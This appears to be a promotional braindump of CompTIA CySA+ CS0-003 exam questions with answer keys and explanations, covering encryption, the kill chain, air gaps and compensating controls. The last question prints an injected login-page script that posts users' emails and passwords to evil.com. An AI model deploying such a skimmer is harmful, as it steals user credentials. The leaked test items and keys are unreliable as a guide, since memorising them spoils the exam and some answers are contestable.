CS0-003 Q&As

CompTIA Cybersecurity Analyst (CySA+)

Pass CompTIA CS0-003 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.passapply.com/cs0-003.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by CompTIA Official Exam Center

QUESTION 1

An organization announces that all employees will need to work remotely for an extended period of time. All employees will be provided with a laptop and supported hardware to facilitate this requirement. The organization asks the information security division to reduce the risk during this time. Which of the following is a technical control that will reduce the risk of data loss if a laptop is lost or stolen?

A. Requiring the use of the corporate VPN

B. Requiring the screen to be locked after five minutes of inactivity

C. Requiring the laptop to be locked in a cabinet when not in use

D. Requiring full disk encryption

Correct Answer: D

Full disk encryption (FDE) is a technical control that encrypts all the data on a disk drive, including the operating system and applications. FDE prevents unauthorized access to the data if the disk drive is lost or stolen, as it requires a password or key to decrypt the data. FDE can be implemented using software or hardware solutions and can protect data at rest on laptops and other devices. The other options are not technical controls or do not reduce the risk of data loss if a laptop is lost or stolen. CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 10; https://docs.microsoft.com/en-us/windows/security/information-protection/bitlocker/bitlockeroverview

QUESTION 2

Which of the following most accurately describes the Cyber Kill Chain methodology?

A. It is used to correlate events to ascertain the TTPs of an attacker.

B. It is used to ascertain lateral movements of an attacker, enabling the process to be stopped.

C. It provides a clear model of how an attacker generally operates during an intrusion and the actions to take at each stage

D. It outlines a clear path for determining the relationships between the attacker, the technology used, and the target

Correct Answer: C

Explanation: The Cyber Kill Chain methodology provides a clear model of how an attacker generally operates during an intrusion and the actions to take at each stage. It is divided into seven stages: reconnaissance, weaponization, delivery,

exploitation, installation, command and control, and actions on objectives. It helps network defenders understand and prevent cyberattacks by identifying the attacker\\'s objectives and tactics. References:

The Cyber Kill Chain: The Seven Steps of a Cyberattack

QUESTION 3

Legacy medical equipment, which contains sensitive data, cannot be patched. Which of the following is the best solution to improve the equipment\\'s security posture?

A. Move the legacy systems behind a WAR

B. Implement an air gap for the legacy systems.

C. Place the legacy systems in the perimeter network.

D. Implement a VPN between the legacy systems and the local network.

Correct Answer: B

Implementing an air gap for the legacy systems is the best solution to improve their security posture. An air gap is a physical separation of a system or network from any other system or network that may pose a threat. An air gap can prevent any unauthorized access or data transfer between the isolated system or network and the external environment. Implementing an air gap for the legacy systems can help to protect them from being exploited by attackers who may take advantage of their unpatched vulnerabilities .

QUESTION 4

During an internal code review, software called "ACE" was discovered to have a vulnerability that allows the execution of arbitrary code. The vulnerability is in a legacy, third-party vendor resource that is used by the ACE software. ACE is used worldwide and is essential for many businesses in this industry. Developers informed the Chief Information Security Officer that removal of the vulnerability will take time. Which of the following is the first action to take?

A. Look for potential IoCs in the company.

B. Inform customers of the vulnerability.

C. Remove the affected vendor resource from the ACE software.

D. Develop a compensating control until the issue can be fixed permanently.

Correct Answer: D

Explanation: A compensating control is an alternative measure that provides a similar level of protection as the original control, but is used when the original control is not feasible or cost-effective. In this case, the CISO should develop a compensating control to mitigate the risk of the vulnerability in the ACE software, such as implementing additional monitoring, firewall rules, or encryption, until the issue can be fixed permanently by the developers. References: CompTIA CySA+ Study Guide: S0-003, 3rd Edition, Chapter 5, page 197; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 205.

QUESTION 5

A security analyst at a company is reviewing an alert from the file integrity monitoring indicating a mismatch in the login. html file hash. After comparing the code with the previous version of the page source code, the analyst found the following code snippet added:

```
$.ajax({
  dataType: 'JSON',
  url: 'https://evil.com/finish.php?x=ZXZpbA==',
  type: 'POST',
  data: {
    email: email%40domain.com,
    password: password
  }
...
```

Which of the following best describes the activity the analyst has observed?

A. Obfuscated links

B. Exfiltration

C. Unauthorized changes

D. Beaconing

Correct Answer: C